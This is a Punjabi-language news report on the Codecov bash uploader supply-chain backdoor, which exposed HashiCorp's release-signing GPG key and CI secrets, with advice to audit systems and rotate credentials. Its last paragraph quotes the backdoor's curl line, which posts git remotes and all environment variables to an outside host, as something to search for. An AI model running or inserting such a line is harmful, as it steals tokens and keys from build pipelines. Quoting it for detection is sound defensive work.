ਕੋਡਕੋਵ ਸਕ੍ਰਿਪਟ ਵਿੱਚ ਖਤਰਨਾਕ ਕੋਡ ਦੀ ਜਾਣ-ਪਛਾਣ ਨੇ HashiCorp PGP ਕੁੰਜੀ ਨਾਲ ਸਮਝੌਤਾ ਕੀਤਾ।

HashiCorp, ਓਪਨ ਸੋਰਸ ਟੂਲਸ ਵੈਗਰੈਂਟ, ਪੈਕਰ, ਨੋਮੈਡ ਅਤੇ ਟੈਰਾਫਾਰਮ ਨੂੰ ਵਿਕਸਤ ਕਰਨ ਲਈ ਜਾਣੀ ਜਾਂਦੀ ਹੈ, ਨੇ ਰਿਲੀਜ਼ਾਂ ਦੀ ਪੁਸ਼ਟੀ ਕਰਨ ਵਾਲੇ ਡਿਜੀਟਲ ਦਸਤਖਤ ਬਣਾਉਣ ਲਈ ਵਰਤੀ ਜਾਂਦੀ ਪ੍ਰਾਈਵੇਟ GPG ਕੁੰਜੀ ਦੇ ਲੀਕ ਦੀ ਘੋਸ਼ਣਾ ਕੀਤੀ। ਹਮਲਾਵਰ ਜਿਨ੍ਹਾਂ ਨੇ GPG ਕੁੰਜੀ ਤੱਕ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕੀਤੀ ਹੈ, ਉਹ ਸੰਭਾਵੀ ਤੌਰ 'ਤੇ HashiCorp ਉਤਪਾਦਾਂ ਨੂੰ ਸਹੀ ਡਿਜੀਟਲ ਦਸਤਖਤ ਨਾਲ ਤਸਦੀਕ ਕਰਕੇ ਉਹਨਾਂ ਵਿੱਚ ਲੁਕਵੇਂ ਬਦਲਾਅ ਕਰ ਸਕਦੇ ਹਨ। ਇਸ ਦੇ ਨਾਲ ਹੀ, ਕੰਪਨੀ ਨੇ ਕਿਹਾ ਕਿ ਆਡਿਟ ਦੌਰਾਨ, ਅਜਿਹੇ ਸੋਧਾਂ ਕਰਨ ਦੀਆਂ ਕੋਸ਼ਿਸ਼ਾਂ ਦੇ ਕੋਈ ਨਿਸ਼ਾਨ ਨਹੀਂ ਮਿਲੇ ਹਨ।

ਵਰਤਮਾਨ ਵਿੱਚ, ਸਮਝੌਤਾ ਕੀਤੀ GPG ਕੁੰਜੀ ਨੂੰ ਰੱਦ ਕਰ ਦਿੱਤਾ ਗਿਆ ਹੈ ਅਤੇ ਇਸਦੀ ਥਾਂ ਇੱਕ ਨਵੀਂ ਕੁੰਜੀ ਪੇਸ਼ ਕੀਤੀ ਗਈ ਹੈ। ਸਮੱਸਿਆ ਨੇ ਸਿਰਫ਼ SHA256SUM ਅਤੇ SHA256SUM.sig ਫਾਈਲਾਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਤਸਦੀਕ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਕੀਤਾ, ਅਤੇ releases.hashicorp.com ਦੁਆਰਾ ਸਪਲਾਈ ਕੀਤੇ ਲੀਨਕਸ DEB ਅਤੇ RPM ਪੈਕੇਜਾਂ ਲਈ ਡਿਜੀਟਲ ਦਸਤਖਤਾਂ ਦੇ ਉਤਪਾਦਨ ਨੂੰ ਪ੍ਰਭਾਵਿਤ ਨਹੀਂ ਕੀਤਾ, ਨਾਲ ਹੀ macOS ਅਤੇ Windows (AuthentiCode) ਲਈ ਰੀਲੀਜ਼ ਤਸਦੀਕ ਵਿਧੀ ਨੂੰ ਪ੍ਰਭਾਵਤ ਨਹੀਂ ਕੀਤਾ। .

ਇਹ ਲੀਕ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਵਿੱਚ ਕੋਡਕੋਵ ਬੈਸ਼ ਅੱਪਲੋਡਰ (ਕੋਡਕੋਵ-ਬਾਸ਼) ਸਕ੍ਰਿਪਟ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਹੋਇਆ ਹੈ, ਜੋ ਨਿਰੰਤਰ ਏਕੀਕਰਣ ਪ੍ਰਣਾਲੀਆਂ ਤੋਂ ਕਵਰੇਜ ਰਿਪੋਰਟਾਂ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ। ਕੋਡਕੋਵ ਕੰਪਨੀ 'ਤੇ ਹਮਲੇ ਦੇ ਦੌਰਾਨ, ਇੱਕ ਬੈਕਡੋਰ ਨਿਰਧਾਰਤ ਸਕ੍ਰਿਪਟ ਵਿੱਚ ਲੁਕਿਆ ਹੋਇਆ ਸੀ, ਜਿਸ ਦੁਆਰਾ ਹਮਲਾਵਰਾਂ ਦੇ ਸਰਵਰ ਨੂੰ ਪਾਸਵਰਡ ਅਤੇ ਐਨਕ੍ਰਿਪਸ਼ਨ ਕੁੰਜੀਆਂ ਭੇਜੀਆਂ ਗਈਆਂ ਸਨ।

ਹੈਕ ਕਰਨ ਲਈ, ਹਮਲਾਵਰਾਂ ਨੇ ਕੋਡਕੋਵ ਡੌਕਰ ਚਿੱਤਰ ਬਣਾਉਣ ਦੀ ਪ੍ਰਕਿਰਿਆ ਵਿੱਚ ਇੱਕ ਗਲਤੀ ਦਾ ਫਾਇਦਾ ਉਠਾਇਆ, ਜਿਸ ਨਾਲ ਉਹਨਾਂ ਨੂੰ ਕੋਡਕੋਵ.io ਤੋਂ ਵੰਡੀ ਗਈ ਬਾਸ਼ ਅਪਲੋਡਰ ਸਕ੍ਰਿਪਟ ਵਿੱਚ ਬਦਲਾਅ ਕਰਨ ਲਈ ਜ਼ਰੂਰੀ GCS (ਗੂਗਲ ਕਲਾਉਡ ਸਟੋਰੇਜ) ਤੱਕ ਪਹੁੰਚ ਡੇਟਾ ਐਕਸਟਰੈਕਟ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੱਤੀ ਗਈ। ਵੈੱਬਸਾਈਟ। ਪਰਿਵਰਤਨ 31 ਜਨਵਰੀ ਨੂੰ ਵਾਪਸ ਕੀਤੇ ਗਏ ਸਨ, ਦੋ ਮਹੀਨਿਆਂ ਲਈ ਅਣਪਛਾਤੇ ਰਹੇ ਅਤੇ ਹਮਲਾਵਰਾਂ ਨੂੰ ਗਾਹਕ ਨਿਰੰਤਰ ਏਕੀਕਰਣ ਪ੍ਰਣਾਲੀ ਵਾਤਾਵਰਣ ਵਿੱਚ ਸਟੋਰ ਕੀਤੀ ਜਾਣਕਾਰੀ ਨੂੰ ਐਕਸਟਰੈਕਟ ਕਰਨ ਦੀ ਆਗਿਆ ਦਿੱਤੀ। ਸ਼ਾਮਲ ਕੀਤੇ ਗਏ ਖਤਰਨਾਕ ਕੋਡ ਦੀ ਵਰਤੋਂ ਕਰਕੇ, ਹਮਲਾਵਰ ਟੈਸਟ ਕੀਤੇ Git ਰਿਪੋਜ਼ਟਰੀ ਅਤੇ ਸਾਰੇ ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲਾਂ ਬਾਰੇ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰ ਸਕਦੇ ਹਨ, ਜਿਸ ਵਿੱਚ ਟੋਕਨ, ਏਨਕ੍ਰਿਪਸ਼ਨ ਕੁੰਜੀਆਂ ਅਤੇ ਪਾਸਵਰਡ ਸ਼ਾਮਲ ਹਨ, ਜੋ ਕਿ ਐਪਲੀਕੇਸ਼ਨ ਕੋਡ, ਰਿਪੋਜ਼ਟਰੀਆਂ ਅਤੇ ਸੇਵਾਵਾਂ ਜਿਵੇਂ ਕਿ ਐਮਾਜ਼ਾਨ ਵੈੱਬ ਸੇਵਾਵਾਂ ਅਤੇ ਗਿੱਟਹਬ ਤੱਕ ਪਹੁੰਚ ਨੂੰ ਸੰਗਠਿਤ ਕਰਨ ਲਈ ਨਿਰੰਤਰ ਏਕੀਕਰਣ ਪ੍ਰਣਾਲੀਆਂ ਵਿੱਚ ਪ੍ਰਸਾਰਿਤ ਕੀਤੇ ਜਾਂਦੇ ਹਨ।

ਡਾਇਰੈਕਟ ਕਾਲ ਤੋਂ ਇਲਾਵਾ, ਕੋਡਕੋਵ ਬੈਸ਼ ਅਪਲੋਡਰ ਸਕ੍ਰਿਪਟ ਨੂੰ ਹੋਰ ਅਪਲੋਡਰਾਂ ਦੇ ਹਿੱਸੇ ਵਜੋਂ ਵਰਤਿਆ ਗਿਆ ਸੀ, ਜਿਵੇਂ ਕਿ ਕੋਡਕੋਵ-ਐਕਸ਼ਨ (ਗਿਥਬ), ਕੋਡਕੋਵ-ਸਰਕਲਸੀ-ਓਰਬ ਅਤੇ ਕੋਡਕੋਵ-ਬਿਟ੍ਰਾਈਜ਼-ਸਟੈਪ, ਜਿਸ ਦੇ ਉਪਭੋਗਤਾ ਵੀ ਸਮੱਸਿਆ ਤੋਂ ਪ੍ਰਭਾਵਿਤ ਹੁੰਦੇ ਹਨ। ਕੋਡਕੋਵ-ਬਾਸ਼ ਅਤੇ ਸੰਬੰਧਿਤ ਉਤਪਾਦਾਂ ਦੇ ਸਾਰੇ ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਉਹਨਾਂ ਦੇ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਦਾ ਆਡਿਟ ਕਰਨ ਦੇ ਨਾਲ-ਨਾਲ ਪਾਸਵਰਡ ਅਤੇ ਇਨਕ੍ਰਿਪਸ਼ਨ ਕੁੰਜੀਆਂ ਬਦਲਣ ਦੀ ਸਿਫਾਰਸ਼ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਤੁਸੀਂ ਲਾਈਨ curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:// ਦੀ ਮੌਜੂਦਗੀ ਦੁਆਰਾ ਇੱਕ ਸਕ੍ਰਿਪਟ ਵਿੱਚ ਪਿਛਲੇ ਦਰਵਾਜ਼ੇ ਦੀ ਮੌਜੂਦਗੀ ਦੀ ਜਾਂਚ ਕਰ ਸਕਦੇ ਹੋ। /upload/v2 || ਸੱਚ ਹੈ

ਸਰੋਤ: opennet.ru